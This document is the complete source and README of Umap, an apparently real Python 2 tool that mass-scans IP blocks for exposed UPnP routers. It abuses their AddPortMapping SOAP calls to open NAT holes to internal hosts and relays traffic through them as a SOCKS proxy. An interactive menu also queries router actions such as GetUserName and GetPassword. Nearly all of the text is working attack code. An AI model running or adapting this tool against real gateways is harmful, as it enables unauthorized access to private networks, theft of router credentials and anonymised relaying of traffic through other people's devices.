###############################
###############################
###                         ###
###       README            ###
###                         ###
###############################
###############################

Umap v0.7
By Daniel Garcia
formatez@toor.do


Dependencies
-------

Not much is needed, just Python > 2.6 and Python SoapPy.


Executing
-------

Umap works with a curses interface. Here are the arguments used by the program.
-h: Help
-c: Curses mode (Don't recommend NOT using curses)
-v: Verbose output
-p: Port / Port range (Internal Scanning)
-l: List of IP blocks
-i: Target IP
-s: SOCKSv4 Proxy mode
-b: IP SOCKS should bind to.
-t: Number of maximum threads

Here are some common ways to use Umap:

(SOCKSv4 Proxy mode) -  <iplist> is the location of a filename containing an IP per line for scanning, it will automatically scan 
the whole class C block if specified on the list. If specified by the -i argument you can specify single ip's. On curses use the 'd' and 'u' 
keys to move around the iplist for the selection of positive hosts found, 'e' to execute upnp commands and 'q' to quit.
./umap.py -c -s -l <iplist> -t 254

(Scanning internal network mode) - Scans an IP looking for available IGD control points, if it finds one it attempts to map internal hosts for scanning.
./umap.py -c -i <ip>

(Scanning internal network mode) - Same as above but only scans ports specified in <port>
./umap.py -c -i <ip> -p <port> 



###############################
###############################
###                         ###
###         list            ###
###                         ###
###############################
###############################


# Format: x.x.x.x(per line)
# Will scan the whole Class C block for each IP listed
# example: 1.2.3.4



###############################
###############################
###                         ###
###        umap.py          ###
###                         ###
###############################
###############################


#!/usr/bin/python
# Umap v0.7 (UPNP Map)
# formatez@toor.do (Daniel Garcia)
# http://www.toor.do/
#
# UPNP NAT Hole puncher/Scanner
# --------------------------------
# This program attempts to 
# 1) Scan open TCP ports on the hosts behind a UPNP enabled Internet Gateway Device(IGD) NAT.
# 2) Add port forward using open WAN control points
# 3) Act as a SOCKS v4 using port forwarding from open WAN control points
#
#
# For more information on the subject:
# http://www.upnp-hacks.org/
# http://www.gnucitizen.org/
# http://www.sourcesec.com/2008/11/07/miranda-upnp-administration-tool/
#
# 
#
# Code docs/comments coming soon.


#import sys
import os
import socket, SocketServer
import urllib2
import getopt
import xml.dom.minidom as minidom
import threading
import Queue
import random
import time
import uscan, usocks, upnpscan, uctui
import curses
from SOAPpy import *

# The format for the XML descriptor locations is 'XML location | TCP Port | Type'
knownLocations = ['/upnp/IGD.xml|80|0', '/allxml/|5431|1', '/devicedesc.xml|80|2', '/IGatewayDeviceDescDoc|2869|3', '/igd.xml|80|4', '/gatedesc.xml|49152|5', '/rootDesc.xml|5000|6']

# Default scanned ports
commonPorts = ['21','22','23','80','137','138','139','443','445','8080']

# Uscan queue
queue = Queue.Queue()

# IP List
upnpList = []

# Mappings list
mapList = []

threadList = []

def main():


    socks = 0
    max_threads = 16
    upnp_type = False
    verbose = False
    cursesMode = False
    portLow = 0
    portHigh = 0
    ip = ''
    file = ''
    bindIP = ''
    portList = []
    selectedIP = 0
    current_ip = 0
    mapDict = {}
    selectedIPXML = {}
    headers = {
            'USER-AGENT':'Umap/0.7',
            'CONTENT-TYPE':'text/xml; charset="utf-8"'
    }

    try:
        opts, args = getopt.getopt(sys.argv[1:], "hcvst:i:p:l:b:", ["help", "curses", "verbose", "socks", 
								    "threads=", "ip=", "port=", "list=", "bind="])
    except getopt.GetoptError, err:
        print str(err)
        sys.exit(2)

    if len(opts) == 0:
        print "No arguments specified"
        printhelp()
        sys.exit(2)

    for o,a in opts:
        if o == "-h":
            printhelp()
            sys.exit(2)
        if o == "-v":
            verbose = 1
	if o == "-c":
	    cursesMode = 1
        if o == "-i":
            ip = a
        if o == "-p":
            if ',' in a:
                for port in a.split(','):
                    if port.isdigit():
                        portList.append(port)
                    else:
                        print "[E] Wrong port number"
            elif '-' in a:
                (portLow, portHigh) = a.split('-')
                if portLow.isdigit() and portHigh.isdigit():
                    portLow = int(portLow)
                    portHigh = int(portHigh)
                    while portLow <= portHigh:
                        portList.append(portLow)
                        portLow += 1
            else:
                if a.isdigit:
                    portList.append(a)
                else:
                    print "[E] Wrong port number"
                    sys.exit()


        if o == "-t":
            if a.isdigit() and int(a) < 255:
                max_threads = a
            else:
                print "Error in threads"
                sys.exit()

	if o == "-s":
            socks = 1
	if o == "-b":
            bindIP = a
	    if not a:
		print "Error in bind IP"
		sys.exit()
	if o == "-l":
	    if os.path.exists(a):
                file = a
            else:
                print "File doesn't exist!"
		sys.exit()


    if len(portList) == 0:
        for port in commonPorts:
            portList.append(port)

    if not ip and not socks:
        print "[E] Either target IP or socks option must be specified"
        sys.exit()
	
    if socks and (not file and not ip):
        print "[E] Must specify IP block list file or IP target"
	sys.exit()

  
    if ip and not socks:
	if cursesMode: 
	    scr = uctui.uCTUI(0, selectedIP, selectedIPXML, upnpList, mapList)
            scr.mainScreen.nodelay(1)
	    scr.printMessage("Trying "+ip)
            scr.draw()
	    upnpScan = upnpscan.UPNPScan(ip, upnpList, scr, selectedIPXML)
	    upnpScan.setDaemon(True)
	    upnpScan.start()
	    upnpScan.join()
            if len(upnpList) == 0:
                scr.printMessage("[E] Couldn't find a match")
	    else:
		splitUPnP = upnpList[0].split('|')
		location = splitUPnP[3]+"|"+splitUPnP[4]+"|"+splitUPnP[5]
		scanned = upnpScan.getInfo(location, ip, 1)
                guessIP()

    	try:

        	while True:
            		if(threading.activeCount() < max_threads):
                		current_ip = queue.get()
				if cursesMode:
	                		umap = uscan.Uscan(ip, current_ip, scanned, queue, verbose, portList, mapList, scr)
				else:
	                		umap = uscan.Uscan(ip, current_ip, scanned, queue, verbose, portList, mapList)
                		umap.setDaemon(True)
	                	umap.start()
                	if umap.stopIt.isSet():
                    		break
			
			time.sleep(0.5)
	                scr.draw()
			input = scr.mainScreen.getch()
			if input == ord('q'): 
				scr.exitCurse()
				break



    	except KeyboardInterrupt:
        	scr.printMEssage("Caught interrupt! waiting for threads and exiting")
        	umap.stopIt.set()
        	umap.join()
		scr.exitCurse()

    if socks and (file or ip):
	scr = uctui.uCTUI(1, selectedIP, selectedIPXML, upnpList, mapList)
	if file:
		ipListfh = open(file, 'r')
		ipList = ipListfh.readlines()
		for line in ipList:
			c = 1
			if line.find('#') != -1: continue
			splitIP = line.split('.')
			if len(splitIP) == 4:
				while c < 255:
					ip = str(splitIP[0])+"."+str(splitIP[1])+"."+str(splitIP[2])+"."+str(c)
					if c == 1:
						dip = ip.split('.')
						scr.printMessage("Adding block: "+ip)
					queue.put(ip)
					c += 1
			else:
				scr.printMessage("[E]Error in format!")

	if ip:
		scr.printMessage("Adding: "+ip)
		queue.put(ip)

	try:
		socksServer = usocks.UsocksServer((bindIP, 1081), usocks.UsocksHandle)
	except:
		print "Error binding"
		sys.exit(0)
	socksServer.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
	socksThread = threading.Thread(target=socksServer.serve_forever)
	socksThread.setDaemon(True)
	socksThread.start()

				
	totalCount = 0
	try:


		while True:

			if not queue.empty():
				current_ip = queue.get()
	                       	upnpScan = upnpscan.UPNPScan(current_ip, upnpList, scr, selectedIPXML)

			scr.mainScreen.nodelay(1)
			time.sleep(0.5)
			scr.draw()
                        input = scr.mainScreen.getch()
			lenUPnP = len(upnpList)
			scan = ()
			if lenUPnP > 0 and selectedIP < lenUPnP and len(scr.selectedIPXML) == 0:
				splitUPnP = upnpList[scr.selectedIP].split('|')
				location = splitUPnP[3]+"|"+splitUPnP[4]+"|"+splitUPnP[5]
				scan = upnpScan.getInfo(location, upnpList[scr.selectedIP].split('|')[0], 1)

                        if input == ord('q'):
				socksServer.shutdown() 
				socksThread.join()
				scr.exitCurse()
				break
			if input == ord('r'): 
				scr.mainScreen.refresh()
			if input == ord('e'):
				if lenUPnP == 0:
					scr.printMessage("No positive matches")
					return False
				scr.mainScreen.nodelay(0)
				scr.drawExecute()
				scr.mainScreen.nodelay(1)
			if input == ord('u') and selectedIP >= 0:
                                scr.cursorUp()
				splitUPnP = upnpList[scr.selectedIP].split('|')
				location = splitUPnP[3]+"|"+splitUPnP[4]+"|"+splitUPnP[5]
				scr.selectedIPXML = {}
				mapDict = {}
			if input == ord('d') and selectedIP < lenUPnP: 
                                scr.cursorDown()
				splitUPnP = upnpList[scr.selectedIP].split('|')
				location = splitUPnP[3]+"|"+splitUPnP[4]+"|"+splitUPnP[5]
				scr.selectedIPXML = {}
				mapDict = {}



			socksServer.scan = scan
			socksServer.IPlist = upnpList
			socksServer.map = mapDict
			socksServer.scr = scr
			socksServer.selectedIP = selectedIP



			if(threading.activeCount() < int(max_threads)):
				totalCount += 1
				if queue.empty() and current_ip == 0:
					continue
				else:
					scr.printMessage("Scanning("+str(threading.activeCount())+","+str(totalCount)+"): "+current_ip)
					upnpScan.setDaemon(True)
					upnpScan.start()
					threadList.append(upnpScan)
					current_ip = 0
			else:
				for t in threadList:
					t.join()
					
			if upnpScan.stopIt.isSet():
				break


	except KeyboardInterrupt:
		scr.printMessage("Caught interrupt! waiting for threads and exiting")
                upnpScan.stopIt.set()
                upnpScan.join()
		scr.exitCurse()
	



def guessIP():
    # TODO
    # Best guess of IP (10.0.0.0)
    ipGuess = '10.0.0.1'
    # ipGuess = base.split('://')[1].split(':')[0]


    (a,b,c,d) = ipGuess.split('.')

    d = int(d)
    originald = d
    d = 1

    while d < 255:
        if d == originald:
            d += 1
            continue
        d += 1
        ipGuess = a+'.'+b+'.'+c+'.'+str(d)
        queue.put(ipGuess)






def printhelp():
    print "------------"
    print "Umap v0.7"
    print "By FormateZ"
    print "formatez@toor.do"
    print "------------"
    print "-h: Help"
    print "-b: Bind IP of SOCKS"
    print "-c: Curses mode"
    print "-v: Verbose output"
    print "-p: Port / Port range (Internal Scanning)"
    print "-l: File with list of IP's to be scanned"
    print "-i: Target IP"
    print "-s: SOCKSv4 Proxy mode"
    print "-t: Number of maximum threads"

if __name__ == '__main__':
    main()



###############################
###############################
###                         ###
###       upnpscan.py       ###
###                         ###
###############################
###############################


#!/usr/bin/python

import urllib2
import asyncore
import threading, random, socket
import random
from SOAPpy import *
import xml.dom.minidom as minidom
import sys
import time

# Much thanks to Dan Kaminsky for supplying most of these description XML's
knownLocations = ['/upnp/IGD.xml|80|0', 
                 '/DeviceDescription.xml|80|1',
                 '/allxml/|5431|2', 
                 '/devicedesc.xml|80|3', 
                 '/IGatewayDeviceDescDoc|2869|4', 
                 '/igd.xml|80|5', 
                 '/gatedesc.xml|49152|6', 
                 '/rootDesc.xml|5000|7',
		 '/RootDevice.XML|50718|9',
		 '/UPNP_rootDesc.xml|5819|10',
		 '/rtdevdsc.xml|1900|11',
		 '/gateway.xml|49152|12',
		 '/rootDesc.xml|5555|13',
		 '/upnp/igdrootdesc.xml|80|14',
		 '/x_internetgatewaydevice.xml|80|15',
		 '/desc.xml|80|16',
		 '/DeviceDescrption.xml|9007|17',
		 '/Public_UPNP_gatedesc.xml|80|18',
		 '/gen-desc.xml|4004|19',
		 '/__rootDevice|30888|20',
		 '/gateconnSCPD.xml|80|21',
		 '/RootDevice.xml|8008|22',
		 '/device.xml|51004|23',
		 '/upnp/service/descrip.xml|80|24',
		 '/rootDesc.xml|8200|25',
		 '/DeviceDescription.xml|62802|26',
		 '/rootDesc.xml|65535|27',
		 '/rootDesc.xml|8588|29',
		 '/InternetGatewayDevice.xml|2800|30',
		 '/UPNP_rootDesc.xml|5819|31',
		 '/InternetGatewayDevice.xml|1780|32',
		 '/RootDevice.xml|64340|33',
		 '/igddesc.xml|49000|34',
		 '/RootDevice.xml|34137|35']


class UPNPScan(threading.Thread, asyncore.dispatcher):


    def __init__(self, ip, upnpList, scr, selectedIPXML):

        threading.Thread.__init__ (self)
	asyncore.dispatcher.__init__(self)
        self.stopIt = threading.Event()
        self.ip = ip
	self.upnpList = upnpList
	self.selectedIPXML = selectedIPXML
	self.scr = scr

    def run(self):

        headers = {
               'USER-AGENT':'Umap/0.7',
               'CONTENT-TYPE':'text/xml; charset="utf-8"'
    	}
    	for location in knownLocations:
        	data = False

	        (link, port, upnpType) = location.split('|')
	        requestLocation = "http://%s:%s%s" % (self.ip, port, link)
	        try:
		    socket.setdefaulttimeout(6)
          	    request = urllib2.Request(requestLocation, None)
		    response = urllib2.urlopen(request)
		    headers = response.info()
	            data = response.read()
                except Exception, err:
		    continue
	            

 	        if data and data.find('xml') != -1:
                    upnp_type = location
	            self.scr.printMessage("[*] Positive match "+requestLocation)
		    self.soapInfo = self.getInfo(location, self.ip, 0)
		    try:
			    self.upnpList.append(str(self.ip)+"|"+str(self.soapInfo[2])+"|"+str(port)+"|"+str(location)+"|"+str(self.soapInfo[1])+"|"+str(self.soapInfo[0])+"|"+str(self.soapInfo[6]))
		    except:
		            continue
		    break


	
    def getInfo(self, location, ip, paint):

	    st = time.time()
	    (link, port, upnpType) = location.split('|')
            requestLocation = "http://%s:%s%s" % (ip, port, link)

	    on = 0
	    out = {}
	    newXml = ''
	    location = ''
	    data = ''
	    base = ''
	    tags = ['URLBase', 'friendlyName', 'modelDescription', 'modelName', 'modelNumber', 'serialNumber', 'UDN']
	    try:
                request = urllib2.Request(requestLocation, None)
                response = urllib2.urlopen(request)
                headers = response.info()
                xmlData = response.read()
            except Exception, err:
                return False

	    ed = time.time()
	    for line in xmlData.split('\n'):
		if '<?xml ' in line or on == 1:
			on = 1
			newXml += line+'\n'
		if '</root' in line:
			on = 0
			break
	    try:
	        xmlRoot = minidom.parseString(newXml)
	    except Exception, err:
	        self.scr.printMessage("[E] Error parsing XML")
		return False



	    for service in xmlRoot.getElementsByTagName('service'):
	        try:
	            serviceType = service.getElementsByTagName('serviceType')[0].childNodes[0].data
	            wanXml = service.getElementsByTagName('SCPDURL')[0].childNodes[0].data
	            controlURL = service.getElementsByTagName('controlURL')[0].childNodes[0].data
	        except Exception, err:
	            self.scr.printMessage("[E] Error fetching main tags")
	            return False
	        if 'WANPPP' in serviceType or 'WANIP' in serviceType:
#	        if 'WANIP' in serviceType:
	            for tag in tags:
	                try:
	                    out[tag] = xmlRoot.getElementsByTagName(tag)[0].childNodes[0].data
			    if paint == 1: self.scr.selectedIPXML[tag] = xmlRoot.getElementsByTagName(tag)[0].childNodes[0].data
	                except:
	                    pass
		    timing = (ed-st)*1000.0
	            if 'URLBase' in out:
	                base = out['URLBase']
		    return (serviceType, wanXml, controlURL, base, port, link, timing)




###############################
###############################
###                         ###
###        uscan.py         ###
###                         ###
###############################
###############################


#!/usr/bin/python

import threading, random, socket
import random
from SOAPpy import *

class Uscan(threading.Thread):


    def __init__(self, uip, ip, soapInfo, queue, verbose, portList, mapList, scr):

        threading.Thread.__init__ (self)
        self.stopIt = threading.Event()
        self.portList = portList
        self.verbose = verbose
	self.scr = scr
        self.ip = ip
        self.uip = uip
        self.soapInfo = soapInfo
        self.port = soapInfo[4]
        self.queue = queue
	self.mapList = mapList


    def run(self):

        for port in self.portList:
            if self.stopIt.isSet():
                break
                sys.exit()
            open = False
            thisport = random.randint(30000, 40000)
            if self.verbose: self.scr.printMessage("[*] Trying port "+str(port)+" on "+self.ip+" "+self.uip+":"+str(thisport))
            endpoint = "http://%s:%s%s" % (self.uip, self.port, self.soapInfo[2])
            namespace = self.soapInfo[0]
            soapaction = namespace+'#AddPortMapping'
            server = SOAPProxy(endpoint, namespace)

            try:
                server._sa(soapaction).AddPortMapping(NewRemoteHost="",
                NewExternalPort=thisport,
                NewProtocol="TCP",
                NewInternalPort=port,
                NewInternalClient=self.ip,
                NewEnabled=1,
                NewPortMappingDescription=thisport,
                NewLeaseDuration=0)
            except Exception, err:
                self.scr.printMessage("[E]Couldn't add port "+str(thisport)+" with "+str(port)+" on "+self.uip+":"+str(err))

            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((self.uip, thisport))
                open = 1
		self.mapList.append(self.uip+":"+str(thisport)+"|"+self.ip+":"+str(port))
                self.scr.printMessage("Mapped: "+self.uip+":"+str(thisport)+"<->"+self.ip+":"+str(port))
                s.close()
            except Exception, err:
		open = 0
                s.close()
                if self.verbose: self.scr.printMessage("Closed port "+str(err))

            if not open:
                endpoint = "http://%s:%s%s" % (self.uip, self.port, self.soapInfo[2])
                namespace = self.soapInfo[0]
                soapaction = namespace+"#DeletePortMapping"
                server = SOAPProxy(endpoint, namespace)
                try:
		    self.scr.printMessage("Deleting: "+str(thisport))
                    server._sa(soapaction).DeletePortMapping(NewRemoteHost="",
                    NewExternalPort=thisport,
                    NewProtocol="TCP")
                except Exception, err:
                     self.scr.printMessage("[E] Error deleting port "+str(thisport))




###############################
###############################
###                         ###
###        usocks.py        ###
###                         ###
###############################
###############################


#!/usr/bin/python
import thread
import SocketServer, socket
import struct
import sys
import random
import string
from SOAPpy import *
from time import time

class UsocksHandle(SocketServer.BaseRequestHandler):


	def pipe(self,src,dest):
        	while 1:
	                try:
	                        r = src.recv(4096)
	                except Exception as e:
				self.server.scr.printMessage("Receive "+str(e))
	                        src.close()
	                        dest.close()
	                        break
	
	                if not r:
	                        src.close()
	                        dest.close()
	                        break
	
	                try:
	                        dest.send(r)
	                except Exception as e:
				self.server.scr.printMessage("Send "+str(e))
	                        src.close()
	                        dest.close()
	                        break

        def handle(self):

                outData = []
		inData = []
		selectedIP = self.server.scr.selectedIP
		positive = self.server.IPlist
		mapDict = self.server.map
		scr = self.server.scr
		sys.stdout = open("/dev/null")
		sys.stderr = open("/dev/null")
		socksFormat = '!BBH4s'
		socksResponseOK = struct.pack('!BBHI',0,0x5a,0,0)
		socksFail = struct.pack('!BBHI',0,0x5b,0,0)

                while 1:
			initialData = self.request.recv(struct.calcsize(socksFormat))
			if not initialData:
				scr.printMessage("Dropped request")
				break
			(socks_ver,command,target_port,target_addr) = struct.unpack(socksFormat,initialData)

			(target_addr_int,) = struct.unpack('!I',target_addr)
		        target_addr = socket.inet_ntoa(target_addr)


			if len(positive) == 0:
				scr.printMessage("[E] Can't processs request without positive matches")
				self.request.send(socksFail)
				self.request.close()
				continue
				
                        if command == 1:
				port = target_port
				ip = target_addr
				lenPositives = len(positive)
				scr.printMessage("Processing("+str(selectedIP)+"): "+ip+" from "+str(self.client_address[0]))
				rhost = positive[selectedIP].split('|')[0]
				rendpoint = positive[selectedIP].split('|')[1]
				rendpointport = positive[selectedIP].split('|')[2]
				serviceType = positive[selectedIP].split('|')[7]
				self.rhost = rhost
				rport = random.randint(10000,20000)
				self.rport = rport
#
#				TODO
				if mapDict.has_key(ip+':'+str(port)):
					thisMap = mapDict[ip+':'+str(port)].split(':')
					rhost = thisMap[0]
					rport = thisMap[1]
					self.rhost = rhost
					self.rport = rport
					scr.printMessage("Already mapped "+rhost+":"+rport)
				else:

        				endpoint = "http://"+rhost+":"+str(rendpointport)+rendpoint
					scr.printMessage("Trying to add: "+str(rhost)+":"+str(rport)+"|"+str(ip)+":"+str(port))
				

				
				        namespace = serviceType
				        server = SOAPProxy(endpoint, namespace)
				        soapaction = serviceType+"#AddPortMapping"

				        try:
				                server._sa(soapaction).AddPortMapping(NewRemoteHost="",
 				                   NewExternalPort=rport,
				                   NewProtocol="TCP",
				                   NewInternalPort=port,
			       	           	   NewInternalClient=ip,
				                   NewEnabled=1,
				                   NewPortMappingDescription=7,
				                   NewLeaseDuration=0)
						mapDict[ip+":"+str(port)] = rhost+":"+str(rport)+":"+str(int(time()))
			              	except Exception, err:
						scr.printMessage("Exception adding "+str(err)+rendpoint)
						self.request.send(socksFail)
						self.request.close()
						continue



				if mapDict.has_key(ip+':'+str(port)):
	                                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
					try:
	        	                        sock.connect((rhost, int(rport))) 
					except:
						scr.printMessage("Couldn't connect to mapped port")
						self.request.send(socksFail)
						self.request.close()
						continue
				else:
					mapDict[ip+':'+str(port)] = rhost+':'+str(rport)+':'+str(time())
	                                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
					sock.setdefaulttimeout(20)
					try:
	        	                        sock.connect((rhost, int(rport)))
					except:
						scr.printMessage("Couldn't connect to mapped port")
						self.request.send(socksFail)
						self.request.close()
						continue
				self.request.send(socksResponseOK)
				thread.start_new_thread(self.pipe,(self.request,sock))
			        thread.start_new_thread(self.pipe,(sock,self.request))


	
			if mapDict.has_key(ip+':'+str(port)):
				current = time()
				if (int(current) - int(mapDict[ip+':'+str(port)].split(':')[2])) > 60:
					scr.printMessage("Closing up "+self.rhost+" "+str(self.rport))
			        	endpoint = "http://"+self.rhost+"/upnp/control/igd/wanpppcInternet"

			                soapaction = serviceType+"#DeletePortMapping"
				        try:
				            server = SOAPProxy(endpoint, namespace)
			        	    server._sa(soapaction).DeletePortMapping(NewRemoteHost="",
				            NewExternalPort=self.rport,
				            NewProtocol="TCP")
					    del mapDict[ip+':'+str(port)]
				        except:
					    scr.printMessage("Exception deleting")
					    pass

class UsocksServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
	pass
	
	



###############################
###############################
###                         ###
###        uctui.py         ###
###                         ###
###############################
###############################


#!/usr/bin/python

import curses
import collections
import copy
import xml.dom.minidom as minidom
import urllib2
from SOAPpy import *

UPnPActions = ['SetConnectionType',
	   'GetConnectionTypeInfo',
	   'ConfigureConnection',
	   'RequestConnection',
	   'RequestTermination',
	   'ForceTermination',
	   'SetAutoDisconnectTime',
	   'SetIdleDisconnectTime',
	   'SetWarnDisconnectDelay',
	   'GetStatusInfo',
	   'GetLinkLayerMaxBitRates',
	   'GetPPPEncryptionProtocol',
	   'GetPPPCompressionProtocol',
	   'GetPPPAuthenticationProtocol',
	   'GetUserName',
	   'GetPassword',
	   'GetAutoDisconnectTime',
	   'GetIdleDisconnectTime',
	   'GetWarnDisconnectDelay',
	   'GetNATRSIPStatus',
	   'GetGenericPortMappingEntry',
	   'GetSpecificPortMappingEntry',
	   'AddPortMapping',
	   'DeletePortMapping',
	   'GetExternalIPAddress']

class uCTUI():


	def __init__(self, type, selectedIP, selectedIPXML, upnpList, mapList):

		self.type = type
		self.scan = ''
		self.mapList = mapList
		self.upnpList = upnpList
		self.selectedIPXML = selectedIPXML
		self.messagesQueue = collections.deque()
		self.positiveQueue = collections.deque()
		self.cursorPos = 0
		self.selectedIP = selectedIP
		self.qSize = 0
		self.mainScreen = curses.initscr()
		self.mainMax = self.mainScreen.getmaxyx()
		self.mainScreen.clear()
		self.mainScreen.subwin(self.mainMax[0], self.mainMax[1], 0, 0)
		self.messagesLimit = self.mainMax[1]
		self.mainScreen.box()
		curses.noecho()
		curses.cbreak()
		self.mainScreen.refresh()

	def draw(self):
		start = 0
		if self.type == 1:
			self.positiveWindow = curses.newwin(20,20,1,1)
			self.positiveWindow.box()
			self.positiveWindow.addstr(0,1,"Positive IP's",curses.A_REVERSE)
			self.positiveWindow.refresh()

			self.detailWindow = curses.newwin(20,self.mainMax[1]-25,1,22)
			self.detailWindow.box()
			if len(self.upnpList) > 0:
				dselectedIP = self.upnpList[self.selectedIP].split('|')[0]
				dselectedService = self.upnpList[self.selectedIP].split('|')[7].split(':')[3]
				dselectedTiming = self.upnpList[self.selectedIP].split('|')[8].split('.')[0]
			else:
				dselectedIP = ''
				dselectedService = ''
				dselectedTiming = '-'
			self.detailWindow.addstr(0,1,"UPnP Details -  |Selected IP: "+dselectedIP+" |Total positives: "+str(len(self.upnpList))+" |Service: "+dselectedService+" |Timing: "+dselectedTiming+"ms",curses.A_REVERSE)
			dcount = 1
			for k in self.selectedIPXML:
				if dcount < 20: self.detailWindow.addstr(dcount,1,str(k)+": "+str(self.selectedIPXML[k]))
                        	dcount = dcount + 1
	                self.detailWindow.refresh()

			

			self.messagesWindow = curses.newwin(self.mainMax[0]-22, self.mainMax[1]-4, 21, 1)
			self.messagesWindow.box()
			self.messagesWindow.addstr(0,1,"Messages",curses.A_REVERSE)
			self.messagesWindow.refresh()
			count = 1
			if self.selectedIP >= range(19,254,19)[0]:
				start = self.selectedIP
				end = self.selectedIP+19
			elif self.selectedIP >= range(19,254,19)[1]:
				start = self.selectedIP
				end = self.selectedIP+19

			for positive in self.upnpList:
				if count < start+1:
					count += 1
					continue
				if self.selectedIP < start+19 and start > 18 and count < end:
					self.positiveWindow.addstr(count-start,1,str(count-start)+"-"+positive.split('|')[0])
	                        	count = count + 1
	                        if self.selectedIP == count-1:
					self.positiveWindow.addstr(count-start,1,str(count-start)+"+"+positive.split('|')[0],curses.A_REVERSE)
					count = count + 1
					continue
				if count < 19 and start == 0:
					self.positiveWindow.addstr(count,1,str(count)+"-"+positive.split('|')[0])
	                        	count = count + 1
	                self.positiveWindow.refresh()

		else:
		
			self.mappingWindow = curses.newwin(20,47,1,1)
			self.mappingWindow.box()
			self.mappingWindow.addstr(0,1,"Mappings",curses.A_REVERSE)
			mcount = 1
			for map in self.mapList:
				if mcount < 20: 
					self.mappingWindow.addstr(mcount,1,str(map))
					mcount = mcount + 1
			self.mappingWindow.refresh()

			self.detailWindow = curses.newwin(20,self.mainMax[1]-52,1,48)
			self.detailWindow.box()
			self.detailWindow.addstr(0,1,"UPnP Details",curses.A_REVERSE)
			dcount = 1
			for k in self.selectedIPXML:
				if dcount < 20: self.detailWindow.addstr(dcount,1,str(k)+": "+str(self.selectedIPXML[k]))
                        	dcount = dcount + 1
	                self.detailWindow.refresh()

			it = self.mainMax[0]-22
			self.messagesWindow = curses.newwin(self.mainMax[0]-22, self.mainMax[1]-4, 21, 1)
			self.messagesWindow.box()
			self.messagesWindow.addstr(0,1,"Messages",curses.A_REVERSE)
			self.messagesWindow.refresh()
			count = 1
			for map in self.mapList:
				if count < 20: self.mappingWindow.addstr(count,1,str(count)+"-"+map)
				count = count + 1
				
		qCopy = copy.deepcopy(self.messagesQueue)
		count = 1
		for message in qCopy:
			self.messagesWindow.addstr(count,1,str(message))
			count = count + 1
		self.messagesWindow.refresh()




			
	def drawExecute(self):
		
		
		actionNumber = {}
		actionList = []
		argumentDict = {}
		stateVars = {}
		inputArgs = {}
		if len(self.upnpList) == 0:
			return False
		self.executeWindow = curses.newwin(40,self.mainMax[1]-25,3,5)
	        self.executeWindow.box()
		self.executeWindow.refresh()
		try:
			nowIP = self.upnpList[self.selectedIP].split('|')[0]
			nowPort = self.upnpList[self.selectedIP].split('|')[2]
			nowXML = self.upnpList[self.selectedIP].split('|')[6]
			scpd = "http://"+nowIP+":"+nowPort+nowXML
	                request = urllib2.Request(scpd, None)
	                response = urllib2.urlopen(request)
	                headers = response.info()
	                xmlData = response.read()
                except Exception, err:
            		return False
		xmlRoot = minidom.parseString(xmlData)
		for stateVar in xmlRoot.getElementsByTagName('stateVariable'):
			stateVarName = stateVar.getElementsByTagName('name')[0].childNodes[0].data
			stateVarType = stateVar.getElementsByTagName('dataType')[0].childNodes[0].data
			stateVars[str(stateVarName)] = str(stateVarType)

		for action in xmlRoot.getElementsByTagName('action'):
			actionName = action.getElementsByTagName('name')[0].childNodes[0].data
			actionList.append(str(actionName))
			argumentDict[actionName] = ''
			for argument in action.getElementsByTagName('argument'):
				lenAction = len(actionList)
				nowArg = argument.getElementsByTagName('name')[0].childNodes[0].data
				relatedVar = argument.getElementsByTagName('relatedStateVariable')[0].childNodes[0].data
				direction = argument.getElementsByTagName('direction')[0].childNodes[0].data
				if argumentDict[actionName] == '':
					argumentDict[actionName] = nowArg+":"+stateVars[relatedVar]+":"+direction
				else:
					argumentDict[actionName] = argumentDict[actionName]+"|"+nowArg+":"+stateVars[relatedVar]+":"+direction

		count = 1
		for action in actionList:
			strCount = str(count)
			self.executeWindow.addstr(count,1,strCount+"-"+str(action))
			actionNumber[strCount] = str(action)
			count = count + 1
		for action in UPnPActions:
			strCount = str(count)
			if action in actionList: continue
			self.executeWindow.addstr(count,1,strCount+"-"+str(action),curses.A_BOLD)
			actionNumber[strCount] = str(action)
			count = count + 1
		self.executeWindow.refresh()

		selection = self.executeWindow.getstr()

		if not selection.isdigit() or int(selection) > count:
			self.mainScreen.clear()
			self.mainScreen.refresh()
			self.printMessage("Error in selection")
			return False
		try:
			nowAction = actionNumber.get(selection)
			if argumentDict.has_key(nowAction): 
				nowArgs = argumentDict[nowAction].split('|')
			else:
				nowArgs = ''
			for nowArg in nowArgs:
				nowArg = nowArg.split(':')
				if nowArg[2] == 'out': continue
				self.executeWindow.clear()
				self.executeWindow.refresh()
				curses.echo()
				self.executeWindow.addstr(1,1,"Insert("+str(nowArg[1])+") "+str(nowArg[0])+":")
				input = self.executeWindow.getstr()
				curses.noecho()
				inputArgs[str(nowArg[0])] = str(input)+"|"+str(nowArg[1])
				self.executeWindow.refresh()
		except Exception, err:
			self.printMessage("Error in selection "+str(err))
			return False 
		sendParms = self.upnpList[self.selectedIP].split('|')
		if selection == '99':
			soapRequest = self.sendSoap(sendParms[1], sendParms[0], sendParms[2], sendParms[7], "GetPPPAuthenticationProtocol", inputArgs)
		else:
			soapRequest = self.sendSoap(sendParms[1], sendParms[0], sendParms[2], sendParms[7], actionNumber.get(selection), inputArgs)
		newXML = ''
		if not soapRequest or 'faultString' in soapRequest:
			self.printMessage("Error in UPnP Request")
			return False
		try:
			for s in soapRequest:
				newXML += s+'\n'
			xmlResponse = minidom.parseString(newXML)
			ecount = 1
			self.executeWindow.clear()
			self.executeWindow.refresh()
			if argumentDict.has_key(nowAction):
				nowArgs = argumentDict[nowAction].split('|')
				for nowArg in nowArgs:
					nowArg = nowArg.split(':')
					if nowArg[2] == 'in': continue
					responseValue = xmlResponse.getElementsByTagName(nowArg[0])[0].childNodes[0].data
					if not responseValue: continue
					self.executeWindow.addstr(ecount,1,nowArg[0]+": "+responseValue)
					ecount = ecount + 1
			else:
				nowArgs = ''
				for r in xmlResponse.getElementsByTagName('s:Body'):
					outerBody = r.childNodes[1]
					inner = outerBody.childNodes[1].toxml()
					if not inner: continue
				self.executeWindow.addstr(ecount,1,inner)
			self.executeWindow.addstr(ecount+5,1,"Press any key to continue")
			self.executeWindow.refresh()
			self.executeWindow.getch()
		except Exception, err:
			self.printMessage("Exception: "+str(err))
			return False
			
		del self.executeWindow
		self.mainScreen.clear()
